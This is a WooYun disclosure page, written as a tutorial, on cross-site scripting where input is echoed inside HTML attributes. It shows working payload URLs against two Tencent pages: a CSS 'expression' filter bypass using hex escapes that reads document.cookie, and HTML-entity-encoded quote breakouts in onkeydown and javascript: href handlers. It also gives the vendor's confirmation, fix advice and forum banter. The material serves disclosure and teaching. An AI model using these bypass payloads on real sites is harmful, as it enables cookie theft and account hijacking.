当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015963

漏洞标题:[腾讯实例教程] 那些年我们一起学XSS - 3. 输出在HTML属性里的情况

相关厂商:腾讯

漏洞作者: 心伤的瘦子

提交时间:2012-12-13 16:00

修复时间:2013-01-27 16:00

公开时间:2013-01-27 16:00

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-13: 细节已通知厂商并且等待厂商处理中
2012-12-17: 厂商已经确认,细节仅向厂商公开
2012-12-27: 细节向核心白帽子及相关领域专家公开
2013-01-06: 细节向普通白帽子公开
2013-01-16: 细节向实习白帽子公开
2013-01-27: 细节向公众公开

简要描述:

和前面的不一样的时,有时候,输出会出现在HTML标签的属性之中。
例如: <input value="输出"> 、 <img onload="...[输出]..."> ,再比如 <body style="...[输出]..."> .. 这个时候怎么办呢?

详细说明:

1. 大网站一般不是吃素的。前面讲到的基本情况,一般都很少遇到了。
2. 这个时候我们可以把目光发展一下,找一找在【输出】出现在HTML属性里的情况。
3. 最为典型的一种情况,是下面这样的。
http://xxxx.com/search.php?word=乌云欢迎您
HTML代码里则是下面这样情况的。

.. 关键词:<input type="text" value="乌云欢迎您" />


如果这里的word没过滤双引号。就会有以下的情况发生。
http://xxxx.com/search.php?word=乌云欢迎您" onclick="alert(1)
对应的源代码如下:

<input type="text" value="乌云欢迎您" onclick="alert(1)" />


解析:

8.jpg


那么当用户点击这个文本框时,就会触发 alert(1) 。
4. 当然理想是美好的,现实总是残酷的,我水平有限,并没有在腾讯找到这样的例子。
因为绝大部分这样的情况, 腾讯都会做出相应的过滤。
过滤方法也挺简单,将 " 过滤为 &quot; 就行。
过滤后的代码如下:

<input type="text" value="乌云欢迎您&quot; onclick=&quot;alert(1)" />


5. 一般来说,上面的情况,过滤了 " ,可以说是高枕无忧了,但是事实并非如此。某些情况下。我们依然可以继续XSS。下面以腾讯为例。
---------------------------------------------------------
6. 首先看第一种场景。

http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=我是一个兵,爱国爱人民&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx


这里的bg参数过滤了【几乎】所有的东西。但是它输出在了 <body style="[这里]">

9.jpg


更重要的是,这里没有过滤 \ ,反斜线, 而 css里,允许使用转义字符, \ + ascii16进制形式。这样一来,我们就可以构造利用语句啦。
这里过滤了expression, 我们也可以轻松的用expr\65ssion绕过。

http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx


效果如下:

10.jpg


这种情况,遗憾之处在于,基于 css expression 的XSS 已经进入暮年了,只有在IE6,7 下方能触发,受众面小。这里只是作为一个案例来讲讲。
Tips: 至于这里的转义是如何写的:步骤如下:

例如 e 的 ascii 16进制是 65, 我们就写为 \65
expression -> expr\65ssion。


本例缺陷点代码:

<body style="overflow:auto;background-color:#我是一个兵,爱国爱人民;">


-----------------------------------------------
7. 再来看下一个在属性里的案例。这个例子也是比较常见的。比如:
<HTML标签 onXXXX="...[输出在这里].."> 的例子。
<a href="javascript:[输出在这里]">xxxx </a> 的例子。
正好,在腾讯的这个例子中,以上2个情况一起出现了。 我们以其中一种进行讲解。

http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa


看输出,如下,aaaaaaaa 出现在了2个点。

11.jpg


常规来说,因为 onxxxx="[输出]" 和 href="javascript:[输出]" 与 <script>[输出]</script> 没有太大区别。因为[输出]所在的地方,都是javascript脚本。
但是<script>[输出]</script> 如果被过滤,往往没有太好的办法。
而上面这2种情况,则有一个很好的办法绕过过滤。
Tips:

在HTML属性中,会自动对实体字符进行转义。一个简单的比方。
<img src="1" onerror="alert(1)">

<img src="1" onerror="alert&#x28;1&#x29;">
是等效的


换言之,只要上面的情况,没有过滤 &,# 等符号,我们就可以写入任意字符。
看看缺陷点的代码

<li><input type="text" id="pagenum"  class="inputstyle0814"  onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'"/></li>


JS部分我们可以做以下构造,由于'被过滤,我们可以将'写为 &#x27;
location.href='........&searchvalue_yjbg=aaaaaa'
location.href='........&searchvalue_yjbg=aaaaaa'+alert(1)+''
location.href='........&searchvalue_yjbg=aaaaaa&#x27;+alert(1)+&#x27;'
步骤如下:

12.jpg


接着我们把代码转换为 url 的编码。 &-> %26, # -> %23
最后利用代码如下:

http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;


用户点击页面[GO]按钮触发。

13.jpg


由于缺陷点是发生在 onkeydown 或 a 标签的 href 属性中,无法自动触发,因而使得威胁减小,如果是发生在 img 的 onload 属性,则非常可能导致自动触发。
缺陷页面的 <a href=""> 触发点的代码如下:

<li><div class="yebg"><a href="javascript:location='http://stock.finance.qq.com/report/search.php?offset='+document.getElementById('pagenum').value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'">GO</a></div></li>


漏洞证明:

见详情。

修复方案:

1. 对于输出在HTML属性中的情况,需要特殊情况特殊对待,该过滤\的时候,请过滤\, 该过滤&的情况,则过滤掉&
2. 碰到有某些修复的人用正则去判断, &#xNNN.., 而实际上 &#x0NN; &#x00NN, (后面自己慢慢试。。) 都是可以的。 或者是 &#10进制; 以及一些特殊的HTML实体,如 &quot;等,都要注意到,好麻烦, 最好的办法,还是 &过滤为 &amp; :)

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-12-17 14:27

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-13 16:01 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    请这位马甲联系下我们购买个版权么

  2. 2012-12-13 16:04 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号,并不存在实体...)

    @xsser 免费送乌云了。

  3. 2012-12-13 16:08 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    查水表了!!爆破组准备!掷弹筒准备!发射!!!!

  4. 2012-12-13 16:20 | dyun ( 普通白帽子 | Rank:102 漏洞数:15 | [code][/code])

    @心伤的瘦子 lz 攒了多长时间了...

  5. 2012-12-13 16:36 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    果断出书吧

  6. 2012-12-13 16:38 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    @心伤的胖子 是你的马甲不?

  7. 2012-12-13 16:45 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @xsser 我怎么看都觉的是@gainover 的马甲

  8. 2012-12-13 16:49 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    “3. 输出在HTML属性里的情况”这个是@gainover 在自己帖子里的原话,ID也是表示对之前的胖子的挑衅~另外,之前G牛也说过攒了很多腾讯的鸡肋……

  9. 2012-12-13 16:51 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    楼上推理靠谱。。求继续推理。。一定要逼胖子露出原形。。

  10. 2012-12-13 16:57 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @xsser @一刀终情 其实剑心看一下详细的发帖风格应该就知道了,g牛的风格独一无二啊

  11. 2012-12-13 17:05 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    G牛 有没有人曾告诉你 你很淫荡..有没有人告诉你 你很猥琐...

  12. 2012-12-13 17:07 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @鬼魅羊羔 这是瘦子……

  13. 2012-12-13 17:09 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @一刀终情 啊!瘦子~~都一样……都一样……我现在都开始怀疑了,白帽子排行前10名,是不是都是一个人的马甲。。。

  14. 2012-12-13 17:13 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @鬼魅羊羔 我很瘦

  15. 2012-12-13 17:14 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @xsser 你这算是现原形了么?你是不是要告诉我们些什么?比如说……这个瘦子。。。

  16. 2012-12-13 17:27 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @一刀终情 .. 别@我。。我什么都不知道啊。 才来。

  17. 2012-12-13 17:27 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @xsser @心伤的瘦子 不错不错,要是这个瘦子是个妹子就好了

  18. 2012-12-13 19:51 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @xsser 无图无真想,zone里发个目前的靓照撒!

  19. 2012-12-13 20:03 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @风萧萧 我不信剑心会爆照

  20. 2012-12-13 20:26 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    @gainover @风萧萧 @小胖胖要减肥 收购剑心露点照~~~哈哈

  21. 2012-12-13 21:09 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @风萧萧 @gainover 10WB收购剑心露点照~~哈哈哈。楼上out了,现在木有WB,谁给你照片啊。。。

  22. 2012-12-14 00:50 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @鬼魅羊羔 @se55i0n 本人有@剑心 露点照片,请私下联系

  23. 2013-01-17 19:03 | 烨少 ( 路人 | Rank:5 漏洞数:1 )

    各种大牛,各种有啊。

  24. 2013-01-17 19:03 | 烨少 ( 路人 | Rank:5 漏洞数:1 )

    各种大牛,各种有啊。

  25. 2013-01-27 19:03 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)

    好人一生平安~~~

  26. 2013-02-15 18:02 | mole3o ( 路人 | Rank:10 漏洞数:2 | 学生一枚,青春向上的白帽子。)

    好人一生平安!

  27. 2014-03-11 14:36 | 404 ( 路人 | Rank:20 漏洞数:4 )

    楼上都是逗逼,鉴定完毕!

  28. 2014-06-15 13:51 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )

    我是一个兵,爱国爱人民。这不是我军训时候唱的歌吗?